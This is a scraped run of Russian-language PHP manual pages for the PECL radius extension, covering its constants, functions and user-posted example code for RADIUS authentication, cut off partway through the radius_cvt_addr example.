    • radius_put_int — Присоединяет целочисленный атрибут
    • radius_put_string — Присоединяет строковый атрибут
    • radius_put_vendor_addr — Присоединяет атрибут IP-адреса конкретного поставщика
    • radius_put_vendor_attr — Присоединяет бинарный атрибут, зависящий от поставщика
    • radius_put_vendor_int — Присоединяет целочисленный атрибут, зависящий от поставщика
    • radius_put_vendor_string — Присоединяет строковый атрибут, зависящий от поставщика
    • radius_request_authenticator — Возвращает аутентификатор запроса
    • radius_salt_encrypt_attr — Зашифровывает значение с помощью соли
    • radius_send_request — Отправляет запрос и ждёт ответ
    • radius_server_secret — Возвращает общий секрет
    • radius_strerror — Возвращает сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Введение

Пакет базируется на библиотеке libradius (Remote Authentication Dial In User Service) из FreeBSD. Он позволяет производить учёт и аутентификацию клиентов путём запросов к удалённым сетевым сервисам.

Этот PECL-модуль добавляет полную поддержку Radius Authentication (» RFC 2865) и Radius Accounting (» RFC 2866). Этот пакет доступен для Unix (тестировался во FreeBSD и Linux) и для Windows.

Замечание:

Подробное описание библиотеки libradius можно найти » тут. Детальная информация о файле конфигурации лежит » тут.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/radius.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Содержание

  • Опции RADIUS
  • типы пакетов RADIUS
  • Типы атрибутов RADIUS
  • Атрибуты RADIUS специфичные для разных производителей

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

RADIUS_MPPE_KEY_LEN (int)
Максимальная длина ключей MPPE.

User Contributed Notes

There are no user contributed notes for this page.


Опции RADIUS

Некоторые функции RADIUS принимают опциональные флаги как битовые маски. Константы, представляющие эти опции, описаны ниже.

RADIUS_OPTION_SALT (int)

Если установлено, то значение атрибута будет зашифровано с солью.

RADIUS_OPTION_TAGGED (int)

Если установлено, то значение атрибута будет помечено тегом, заданным соответствующим параметром.

User Contributed Notes

There are no user contributed notes for this page.


типы пакетов RADIUS

Пакеты RADIUS, будь то запрос или ответ, всегда включают тип. Эти константы полезны при задании типа при использовании radius_create_request() и при обработке ответа radius_send_request().

RADIUS_ACCESS_REQUEST (int)

Запрос Access-Request (Запрос доступа), используется для аутентификации пользователя сервером RADIUS. Данные пакеты должны содержать атрибут RADIUS_NAS_IP_ADDRESS или RADIUS_NAS_IDENTIFIER , также должны содержать RADIUS_USER_PASSWORD, RADIUS_CHAP_PASSWORD или RADIUS_STATE , и могут содержать атрибут RADIUS_USER_NAME.

RADIUS_ACCESS_ACCEPT (int)

Ответ Access-Accept (Доступ разрешён) приходит в ответ на запрос Access-Request и означает, что сервер RADIUS успешно аутентифицировал пользователя.

RADIUS_ACCESS_REJECT (int)

Ответ Access-Reject (В доступе отказано) приходит в ответ на запрос Access-Request и означает, что сервер RADIUS не смог аутентифицировать пользователя.

RADIUS_ACCESS_CHALLENGE (int)

Ответ Access-Challenge (СОмнение в праве на доступ) приходит в ответ на запрос Access-Request и означает, что серверу RADIUS требуется дополнительная информация для принятия решения по аутентификации.

RADIUS_ACCOUNTING_REQUEST (int)

Запрос Accounting-Request (Запрос учётных данных), используется для передачи учётной информации для службы на сервер RADIUS.

RADIUS_ACCOUNTING_RESPONSE (int)

Ответ Accounting-Response (Учётные данные) является ответом на запрос Accounting-Request.

RADIUS_COA_REQUEST (int)

Запрос CoA-Request посылается с сервера RADIUS и означает, что изменилась авторизация в сеансе пользователя. Ответ должен быть отправлен в форме CoA-ACK или CoA-NAK.

Эта константа доступна в PECL radius 1.3.0 и выше.

RADIUS_COA_ACK (int)

Ответ CoA-ACK, посылается на сервер RADIUS для обозначения, что авторизация пользователя обновлена.

Эта константа доступна в PECL radius 1.3.0 и выше.

RADIUS_COA_NAK (int)

Ответ CoA-NAK, посылается на сервер RADIUS для обозначения, что авторизация пользователя не может быть обновлена.

Эта константа доступна в PECL radius 1.3.0 и выше.

RADIUS_DISCONNECT_REQUEST (int)

Запрос Disconnect-Request (Запрос прерывания сессии), посылается с сервера RADIUS и означает, что необходимо прервать сеанс пользователя.

Эта константа доступна в PECL radius 1.3.0 и выше.

RADIUS_DISCONNECT_ACK (int)

Ответ Disconnect-ACK, посылается на сервер RADIUS и означает, что пользовательская сессия завершена.

Эта константа доступна в PECL radius 1.3.0 и выше.

RADIUS_DISCONNECT_NAK (int)

Ответ Disconnect-NAK, посылается на сервер RADIUS и означает, что пользовательская сессия не может быть завершена.

Эта константа доступна в PECL radius 1.3.0 и выше.

User Contributed Notes

There are no user contributed notes for this page.


Типы атрибутов RADIUS

Эти константы описывают типы атрибутов RADIUS, которые можно использовать в функциях
radius_put_addr(), radius_put_attr(),
radius_put_int() и
radius_put_string().

RADIUS_USER_NAME (int)

Атрибут User-Name. Должен быть типа string и содержать имя аутентифицируемого пользователя. Атрибут можно установить функцией radius_put_attr().

RADIUS_USER_PASSWORD (int)

Атрибут User-Password. Должен быть типа string и содержать пароль пользователя. Атрибут можно установить функцией radius_put_attr(). Это значение будет обфусцировано при передаче согласно » секции 5.2 RFC 2865.

RADIUS_CHAP_PASSWORD (int)

Атрибут Chap-Password. Должен быть типа string и содержать идентификатор CHAP пользователя, 16 байт, содержащими MD5-хеш идентификатора CHAP, текстовое представление пароля и проверочное значение CHAP соединёнными в одну строку. Обратите внимание, что проверочное значение CHAP также должно быть отдельно послано в атрибуте RADIUS_CHAP_CHALLENGE.

Пример #1 Использование паролей CHAP

<?php
// Для начала создадим обработчик аутентификации и запрос.
$radh = radius_auth_open();
radius_add_server($radh, $server, $port, $secret, 3, 3);
radius_create_request($radh, RADIUS_ACCESS_REQUEST);

// Считая, что $password содержит пароль в незашифрованном виде, мы делаем:

// Создаём проверочное значение.
$challenge = mt_rand();

// Задаём идентификатор CHAP.
$ident = 1;

// Добавляем атрибут Chap-Password.
$cp = md5(pack('Ca*', $ident, $password.$challenge), true);
radius_put_attr($radh, RADIUS_CHAP_PASSWORD, pack('C', $ident).$cp);

// Добавляем атрибут Chap-Challenge.
radius_put_attr($radh, RADIUS_CHAP_CHALLENGE, $challenge);

/* Теперь можно добавлять прочие необходимые аттриубты
* и вызывать radius_send_request(). */
?>

RADIUS_NAS_IP_ADDRESS (int)

Атрибут NAS-IP-Address. Ожидается, что значение будет IP-адресом клиента RADIUS в виде целого числа. Атрибут устанавливается функцией radius_put_addr().

RADIUS_NAS_PORT (int)

Атрибут NAS-Port. Ожидается, что значение будет физическим портом клиента RADIUS в виде целого числа. Атрибут устанавливается функцией radius_put_addr().

RADIUS_SERVICE_TYPE (int)

Атрибут Service-Type. Значение атрибута обозначает тип сервиса запрашиваемого клиентом, должно быть целым числом. Атрибут устанавливается функцией radius_put_addr().

Допустимы следующие значения:

  • RADIUS_LOGIN
  • RADIUS_FRAMED
  • RADIUS_CALLBACK_LOGIN
  • RADIUS_CALLBACK_FRAMED
  • RADIUS_OUTBOUND
  • RADIUS_ADMINISTRATIVE
  • RADIUS_NAS_PROMPT
  • RADIUS_AUTHENTICATE_ONLY
  • RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (int)

Атрибут Framed-Protocol. Атрибут должен быть целым числом, означающим используемый протокол обёртку. Атрибут устанавливается функцией radius_put_addr(). Допустимые значения:

  • RADIUS_PPP
  • RADIUS_SLIP
  • RADIUS_ARAP
  • RADIUS_GANDALF
  • RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (int)

Атрибут Framed-IP-Address. Атрибут должен содержать адрес пользовательской сети в виде целого числа. Атрибут устанавливается функцией radius_put_addr() и извлекается функцией radius_cvt_addr().

RADIUS_FRAMED_IP_NETMASK (int)

Атрибут Framed-IP-Netmask. Атрибут должен содержать маску пользовательской сети в виде целого числа. Атрибут устанавливается функцией radius_put_addr() и извлекается функцией radius_cvt_addr()

RADIUS_FRAMED_ROUTING (int)

Атрибут Framed-Routing. Атрибут должен быть целым числом и содержать метод маршрутизации. Атрибут устанавливается функцией radius_put_addr().

Допустимые значения:

  • 0: Без маршрутизации
  • 1: Посылка пакетов маршрутизации
  • 2: Ожидать пакеты маршрутизации
  • 3: Посылать и ожидать

RADIUS_FILTER_ID (int)

Атрибут Filter-ID. Атрибут должен быть зависящей от реализации, человеко-читаемой строкой фильтров. Атрибут устанавливается функцией radius_put_addr()

RADIUS_FRAMED_MTU (int)

Атрибут Framed-MTU. Целое число, означающее значение MTU. Атрибут устанавливается функцией radius_put_addr()

RADIUS_FRAMED_COMPRESSION (int)

Атрибут Framed-Compression. Целое число, означающее протокол сжатия. Атрибут устанавливается функцией radius_put_addr() Допустимые значения:

  • RADIUS_COMP_NONE: Без сжатия
  • RADIUS_COMP_VJ: Сжатие заголовков VJ TCP/IP
  • RADIUS_COMP_IPXHDR: Сжатие заголовков IPX
  • RADIUS_COMP_STAC_LZS: Сжатие Stac-LZS (добавлено в PECL radius 1.3.0b2)

RADIUS_LOGIN_IP_HOST (int)

Атрибут Login-IP-Host. Целое число, представляющее IP-адрес, с которым соединяется пользователь. Атрибут устанавливается функцией radius_put_addr()

RADIUS_LOGIN_SERVICE (int)

Атрибут Login-Service. Значение атрибута означает сервис, с которым пользователь соединяется на сервере аутентификации. Это значение можно преобразовать в целое число PHP с помощью функции radius_cvt_int().

RADIUS_LOGIN_TCP_PORT (int)

Атрибут Login-TCP-Port. Значение атрибута означает порт, с которым пользователь соединяется на сервере аутентификации. Это значение можно преобразовать в целое число PHP с помощью функции radius_cvt_int().

RADIUS_REPLY_MESSAGE (int)

Атрибут Reply-Message. Значение атрибута содержит текст, который можно показать пользователю в ответ на запрос аутентификации.

RADIUS_CALLBACK_NUMBER (int)

Атрибут Callback-Number. Атрибут содержит строку, которую можно использовать как функцию обратного вызова.

RADIUS_CALLBACK_ID (int)

Атрибут Callback-Id. Строка, содержащая имя вызываемого метода специфичного для конкретной реализации.

RADIUS_FRAMED_ROUTE (int)

Атрибут Framed-Route. Строка, содержащая зависящий от реализации список маршрутов сконфигурированных для пользователя.

RADIUS_FRAMED_IPX_NETWORK (int)

Атрибут Framed-IPX-Network. Целое число, определяющее сеть IPX, настроенную для пользователя или 0xFFFFFFFE, что призывает клиента RADIUS выбрать сеть самостоятельно. Можно извлечь с помощью radius_cvt_int().

RADIUS_STATE (int)

Атрибут State. Зависящая от реализации строка, включённая в ответ Access-Challenge пришедший от сервера, которую необходимо включить в последующий запрос Access-Request. Должен устанавливаться функцией radius_put_attr().

RADIUS_CLASS (int)

Атрибут Class. Произвольная строка включённая в сообщение Access-Accept и которая должна быть отослана серверу учётных данных в запросе Accounting-Request. Должен устанавливаться функцией radius_put_attr().

RADIUS_VENDOR_SPECIFIC (int)

Атрибут Vendor-Specific . В целом, значения этого атрибута должны устанавливаться
с использованием функций radius_put_vendor_addr(),
radius_put_vendor_attr(),
radius_put_vendor_int() и
radius_put_vendor_string(), а не напрямую.

Эти константы необходимы для интерпретации специфичных, зависящих от производителя атрибутов, пришедших в ответах от сервера RADIUS; когда получены такие атрибуты, то нужно использовать функцию radius_get_vendor_attr() для извлечения идентификатора вендора, типа атрибута и его значения.

RADIUS_SESSION_TIMEOUT (int)

Время ожидания сессии

RADIUS_IDLE_TIMEOUT (int)

Время ожидания простоя

RADIUS_TERMINATION_ACTION (int)

Прекращение операции

RADIUS_CALLED_STATION_ID (int)

Идентификатор вызываемой станции

RADIUS_CALLING_STATION_ID (int)

Идентификатор вызывающей станции

RADIUS_NAS_IDENTIFIER (int)

NAS ID

RADIUS_PROXY_STATE (int)

Состояние прокси

RADIUS_LOGIN_LAT_SERVICE (int)

Сервис входа в систему LAT

RADIUS_LOGIN_LAT_NODE (int)

Узел входа в систему LAT

RADIUS_LOGIN_LAT_GROUP (int)

Группа входа в систему LAT

RADIUS_FRAMED_APPLETALK_LINK (int)

Framed Appletalk Link

RADIUS_FRAMED_APPLETALK_NETWORK (int)

Framed Appletalk Network

RADIUS_FRAMED_APPLETALK_ZONE (int)

Framed Appletalk Zone

RADIUS_CHAP_CHALLENGE (int)

Проверочное значение

RADIUS_NAS_PORT_TYPE (int)

Тип порта NAS, одна из констант:

  • RADIUS_ASYNC
  • RADIUS_SYNC
  • RADIUS_ISDN_SYNC
  • RADIUS_ISDN_ASYNC_V120
  • RADIUS_ISDN_ASYNC_V110
  • RADIUS_VIRTUAL
  • RADIUS_PIAFS
  • RADIUS_HDLC_CLEAR_CHANNEL
  • RADIUS_X_25
  • RADIUS_X_75
  • RADIUS_G_3_FAX
  • RADIUS_SDSL
  • RADIUS_ADSL_CAP
  • RADIUS_ADSL_DMT
  • RADIUS_IDSL
  • RADIUS_ETHERNET
  • RADIUS_XDSL
  • RADIUS_CABLE
  • RADIUS_WIRELESS_OTHER
  • RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (int)

Ограничение на порты

RADIUS_LOGIN_LAT_PORT (int)

Порт входа в систему LAT

RADIUS_CONNECT_INFO (int)

Информация о соединении

RADIUS_ACCT_STATUS_TYPE (int)

Статус системы управления учётными данными, одна из констант:

  • RADIUS_START
  • RADIUS_STOP
  • RADIUS_ACCOUNTING_ON
  • RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (int)

Время задержки системы управления учётными данными

RADIUS_ACCT_INPUT_OCTETS (int)

Входящие байты в систему управления учётными данными

RADIUS_ACCT_OUTPUT_OCTETS (int)

Исходящие байты из системы управления учётными данными

RADIUS_ACCT_SESSION_ID (int)

Идентификатор сессии системы управления учётными данными

RADIUS_ACCT_AUTHENTIC (int)

Тип системы управления учётными данными, одна из констант:

  • RADIUS_AUTH_RADIUS
  • RADIUS_AUTH_LOCAL
  • RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (int)

Время сессии в системе управления учётными данными

RADIUS_ACCT_INPUT_PACKETS (int)

Входящие пакеты в систему управления учётными данными

RADIUS_ACCT_OUTPUT_PACKETS (int)

Исходящие пакеты из системы управления учётными данными

RADIUS_ACCT_TERMINATE_CAUSE (int)

Аварийное завершение сеанса управления учётными данными:

  • RADIUS_TERM_USER_REQUEST
  • RADIUS_TERM_LOST_CARRIER
  • RADIUS_TERM_LOST_SERVICE
  • RADIUS_TERM_IDLE_TIMEOUT
  • RADIUS_TERM_SESSION_TIMEOUT
  • RADIUS_TERM_ADMIN_RESET
  • RADIUS_TERM_ADMIN_REBOOT
  • RADIUS_TERM_PORT_ERROR
  • RADIUS_TERM_NAS_ERROR
  • RADIUS_TERM_NAS_REQUEST
  • RADIUS_TERM_NAS_REBOOT
  • RADIUS_TERM_PORT_UNNEEDED
  • RADIUS_TERM_PORT_PREEMPTED
  • RADIUS_TERM_PORT_SUSPENDED
  • RADIUS_TERM_SERVICE_UNAVAILABLE
  • RADIUS_TERM_CALLBACK
  • RADIUS_TERM_USER_ERROR
  • RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (int)

Многосессионный идентификатор системы управления учётными данными

RADIUS_ACCT_LINK_COUNT (int)

Количество соединений системы управления учётными данными

User Contributed Notes

Anonymous 21-Sep-2015 03:09
To fix missing the "Alive" of Acct-Status-Type, just :

define('RADIUS_ALIVE', 3);


Атрибуты RADIUS специфичные для разных производителей

RADIUS_VENDOR_MICROSOFT (int)

Атрибуты Microsoft (» RFC 2548):

  • RADIUS_MICROSOFT_MS_CHAP_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP_ERROR
  • RADIUS_MICROSOFT_MS_CHAP_PW_1
  • RADIUS_MICROSOFT_MS_CHAP_PW_2
  • RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
  • RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
  • RADIUS_MICROSOFT_MS_RAS_VENDOR
  • RADIUS_MICROSOFT_MS_CHAP_DOMAIN
  • RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
  • RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
  • RADIUS_MICROSOFT_MS_BAP_USAGE
  • RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
  • RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
  • RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
  • RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
  • RADIUS_MICROSOFT_MS_RAS_VERSION
  • RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
  • RADIUS_MICROSOFT_MS_FILTER
  • RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
  • RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
  • RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
  • RADIUS_MICROSOFT_MS_CHAP2_PW
  • RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Как начать?

  • получить ресурс radius
  • настроить библиотеку
  • создать запрос
  • прикрепить атрибуты
  • послать запрос
  • получить атрибуты
  • закрыть ресурс radius (по желанию)
также смотрите примеры использования.

Пакет содержит пример PHP-скрипта. Этот скрипт демонстрирует как производить аутентификацию с помощью radius, используя PAP или CHAP (md5). Если вы производите аутентификацию с помощью серверов Microsoft Radius, то использовать CHAP (md5) не получится. В таком случае вам придётся использовать MS-CHAPv1 или MS-CHAPv2, но это чуть сложнее, так как вам придётся использовать md4, sha1 и des для генерации корректных данных. Приложенные примеры демонстрируют все методы аутентификации, включая MS-CHAPv1 и MS-CHAPv2. Для получения рабочего MS-CHAP вам понадобятся модули mcrypt и mhash. Начиная с версии 1.2, модуль mcrypt больше не нужен.

User Contributed Notes

There are no user contributed notes for this page.


Функции Radius

Содержание

  • radius_acct_open — Создаёт дескриптор Radius для учёта
  • radius_add_server — Добавляет сервер
  • radius_auth_open — Создаёт дескриптор Radius для аутентификации
  • radius_close — Освобождает все ресурсы
  • radius_config — Заставляет библиотеку читать данный файл конфигурации
  • radius_create_request — Создаёт учётную запись или запрос аутентификации
  • radius_cvt_addr — Преобразует необработанные данные в IP-адрес
  • radius_cvt_int — Преобразует необработанные данные в целое число
  • radius_cvt_string — Преобразует необработанные данные в строку
  • radius_demangle_mppe_key — Получает mppe-ключи из искажённых данных
  • radius_demangle — Расшифровывает данные
  • radius_get_attr — Извлекает атрибут
  • radius_get_tagged_attr_data — Извлекает данные из помеченного атрибута
  • radius_get_tagged_attr_tag — Извлекает тег из помеченного атрибута
  • radius_get_vendor_attr — Извлекает атрибут, зависящий от поставщика
  • radius_put_addr — Присоединяет атрибут IP-адреса
  • radius_put_attr — Присоединяет бинарный атрибут
  • radius_put_int — Присоединяет целочисленный атрибут
  • radius_put_string — Присоединяет строковый атрибут
  • radius_put_vendor_addr — Присоединяет атрибут IP-адреса конкретного поставщика
  • radius_put_vendor_attr — Присоединяет бинарный атрибут, зависящий от поставщика
  • radius_put_vendor_int — Присоединяет целочисленный атрибут, зависящий от поставщика
  • radius_put_vendor_string — Присоединяет строковый атрибут, зависящий от поставщика
  • radius_request_authenticator — Возвращает аутентификатор запроса
  • radius_salt_encrypt_attr — Зашифровывает значение с помощью соли
  • radius_send_request — Отправляет запрос и ждёт ответ
  • radius_server_secret — Возвращает общий секрет
  • radius_strerror — Возвращает сообщение об ошибке

User Contributed Notes

SysCo/al - developer [at] sysco[dot] ch 06-Jan-2008 05:39
Pure PHP radius class (do not need the radius package !)

We have implemented a pure PHP radius class following the RFC 2865 rules. Using this class, it is also possible to do WWW realm authentication.

Class abstract, full class implementation (LGPL) with helper files and examples can be found at http://developer.sysco.ch/php/

<?php

// (...)

class Radius
{
    // (...)

    public function Radius($ip_radius_server = '127.0.0.1', $shared_secret = '', $radius_suffix = '', $udp_timeout = 5, $authentication_port = 1812, $accounting_port = 1813)
    {
        // (...)
    }

    // (...)

    function AccessRequest($username = '', $password = '', $udp_timeout = 0)
    {

        // (...)

        $_socket_to_server = socket_create(AF_INET, SOCK_DGRAM, 17); // UDP packet = 17

        if ($_socket_to_server === FALSE)
        {
            // (...)
        }
        elseif (FALSE === socket_connect($_socket_to_server, $this->_ip_radius_server, $this->_authentication_port))
        {
            // (...)
        }
        elseif (FALSE === socket_write($_socket_to_server, $packet_data, $packet_length))
        {
            // (...)
        }
        else
        {
            // (...)
            $read_socket_array   = array($_socket_to_server);
            $write_socket_array  = NULL;
            $except_socket_array = NULL;

            $received_packet = chr(0);

            if (!(FALSE === socket_select($read_socket_array, $write_socket_array, $except_socket_array, $this->_udp_timeout)))
            {
                if (in_array($_socket_to_server, $read_socket_array))
                {
                    if (FALSE === ($received_packet = @socket_read($_socket_to_server, 1024))) // @ used, than no error is displayed if the connection is closed by the remote host
                    {
                        // (...)
                    }
                    else
                    {
                        socket_close($_socket_to_server);
                    }
                }
            }
            else
            {
                socket_close($_socket_to_server);
            }
        }

        // (...)

        return (2 == ($this->_radius_packet_received));
    }
}

?>

Example
<?php
    require_once('radius.class.php');
    $radius = new Radius('127.0.0.1', 'secret');
    if ($radius->AccessRequest('user', 'pass'))
    {
        echo "Authentication accepted.";
    }
    else
    {
        echo "Authentication rejected.";
    }
?>
andac dot aydin at code64 dot de 07-Jul-2006 08:32
If you are constantly getting the errormessage:

Fatal error: Unknown function: radius_auth_open() in...

And your Server is a Windows-System (for example standard-xampp installation), you propably did not remove the comment symbol ";" in front of "extension=php_radius.dll" in php.ini.

If you did that, but get the error anyway:

Additionally be sure you edited the right php.ini, since xampp installs several php.exe's but only "xampp/apache/bin/php.ini"  is the correct one!

It did cost me 2 days to find that out!
shaun at verticalevolution dot com 27-Apr-2006 08:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com 13-Jan-2006 10:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org 23-Oct-2005 08:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

<?php
    $radius = radius_auth_open();
    if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    radius_put_attr($radius,RADIUS_USER_NAME,'username');
    radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

    switch (radius_send_request($radius))
    {
        case RADIUS_ACCESS_ACCEPT:
            echo 'GOOD LOGIN';
            break;
        case RADIUS_ACCESS_REJECT:
            echo 'BAD LOGIN';
            break;
        case RADIUS_ACCESS_CHALLENGE:
            echo 'CHALLENGE REQUESTED';
            break;
        default:
            die('Radius Error: ' . radius_strerror($radius));
    }
?>


Создаёт дескриптор Radius для учёта

  • « Функции Radius
  • radius_add_server »
  • PHP Manual
  • Функции Radius
  • Создаёт дескриптор Radius для учёта

radius_acct_open

(PECL radius >= 1.1.0)

radius_acct_open — Создаёт дескриптор Radius для учёта

Описание

radius_acct_open(): resource

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дескриптор в случае успешного выполнения или false в случае возникновения ошибки. Функция завершится с ошибкой, только если недостаточно памяти.

Примеры

Пример #1 Пример использования radius_acct_open()

<?php
$res = radius_acct_open ()
or die ("Не удалось создать дескриптор");
print("Дескриптор успешно создан");
?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет сервер

  • « radius_acct_open
  • radius_auth_open »
  • PHP Manual
  • Функции Radius
  • Добавляет сервер

radius_add_server

(PECL radius >= 1.1.0)

radius_add_server — Добавляет сервер

Описание

radius_add_server(
resource $radius_handle,
string $hostname,
int $port,
string $secret,
int $timeout,
int $max_tries
): bool

radius_add_server() может вызываться несколько раз и может использоваться вместе с radius_config(). Можно указать не более 10 серверов. Когда задано несколько серверов, они проверяются циклически, пока не будет получен действительный ответ или пока не будет достигнут предел max_tries для каждого сервера.

Список параметров

radius_handle

hostname

Параметр hostname указывает хост сервера в виде полного доменного имени или IP-адреса, разделённого точками, в текстовом виде.

port

port указывает UDP-порт для связи на сервере. Если порт задан как 0, библиотека ищет сервис radius/udp или radacct/udp в базе данных сетевых сервисов, и использует найденный там порт. Если запись не найдена, библиотека использует стандартные порты Radius, 1812 для аутентификации и 1813 для учёта.

secret

Общий секрет для хоста сервера передаётся в параметре secret. Протокол Radius игнорирует всё, кроме первых 128 байтов общего секрета.

timeout

Время ожидания получения ответов от сервера передаётся в параметре timeout в секундах.

max_tries

Максимальное количество повторных запросов, которые нужно сделать перед отказом, передаётся в max_tries.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования radius_add_server()

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br>";
exit;
}
?>

Смотрите также

  • radius_config() - Заставляет библиотеку читать данный файл конфигурации

User Contributed Notes

There are no user contributed notes for this page.


Создаёт дескриптор Radius для аутентификации

  • « radius_add_server
  • radius_close »
  • PHP Manual
  • Функции Radius
  • Создаёт дескриптор Radius для аутентификации

radius_auth_open

(PECL radius >= 1.1.0)

radius_auth_open — Создаёт дескриптор Radius для аутентификации

Описание

radius_auth_open(): resource

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дескриптор в случае успешного выполнения или false в случае возникновения ошибки. Функция завершится с ошибкой, только если недостаточно памяти.

Примеры

Пример #1 Пример использования radius_auth_open()

<?php
$radh = radius_auth_open()
or die ("Не удалось создать дескриптор");
echo "Дескриптор успешно создан";
?>

User Contributed Notes

There are no user contributed notes for this page.


Освобождает все ресурсы

  • « radius_auth_open
  • radius_config »
  • PHP Manual
  • Функции Radius
  • Освобождает все ресурсы

radius_close

(PECL radius >= 1.1.0)

radius_close — Освобождает все ресурсы

Описание

radius_close(resource $radius_handle): bool

Не нужно вызывать эту функцию, потому что php освобождает все ресурсы в конце каждого запроса.

Список параметров

radius_handle

Ресурс RADIUS.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Заставляет библиотеку читать данный файл конфигурации

  • « radius_close
  • radius_create_request »
  • PHP Manual
  • Функции Radius
  • Заставляет библиотеку читать данный файл конфигурации

radius_config

(PECL radius >= 1.1.0)

radius_config — Заставляет библиотеку читать данный файл конфигурации

Описание

radius_config(resource $radius_handle, string $file): bool

Перед выполнением любых запросов Radius, библиотека должна быть информирована о серверах, с которыми она может связаться. Самый простой способ настроить библиотеку - вызвать radius_config(). radius_config() заставляет библиотеку читать файл конфигурации, формат которого описан в » radius.conf.

Список параметров

radius_handle

file

Путь к файлу конфигурации передаётся в качестве аргумента файла в radius_config(). Библиотека также может быть настроена программно с помощью вызова radius_add_server().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • radius_add_server() - Добавляет сервер

User Contributed Notes

There are no user contributed notes for this page.


Создаёт учётную запись или запрос аутентификации

  • « radius_config
  • radius_cvt_addr »
  • PHP Manual
  • Функции Radius
  • Создаёт учётную запись или запрос аутентификации

radius_create_request

(PECL radius >= 1.1.0)

radius_create_request — Создаёт учётную запись или запрос аутентификации

Описание

radius_create_request(resource $radius_handle, int $type): bool

Запрос Radius состоит из кода, указывающего тип запроса, и нуля или более атрибутов, которые предоставляют дополнительную информацию. Чтобы начать создание нового запроса, вызовите radius_create_request().

Замечание: Внимание: вы должны вызвать эту функцию, прежде чем вы сможете поместить любой атрибут!

Список параметров

radius_handle

type

Тип RADIUS_ACCESS_REQUEST или RADIUS_ACCOUNTING_REQUEST.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования radius_create_request()

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

Смотрите также

  • radius_send_request() - Отправляет запрос и ждёт ответ

User Contributed Notes

There are no user contributed notes for this page.


Преобразует необработанные данные в IP-адрес

  • « radius_create_request
  • radius_cvt_int »
  • PHP Manual
  • Функции Radius
  • Преобразует необработанные данные в IP-адрес

radius_cvt_addr

(PECL radius >= 1.1.0)

radius_cvt_addr — Преобразует необработанные данные в IP-адрес

Описание

radius_cvt_addr(string $data): string

Преобразует необработанные данные в IP-адрес

Список параметров

data

Входные данные

Возвращаемые значения

Возвращает IP-адрес.

Примеры

Пример #1 Пример использования radius_cvt_addr()

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
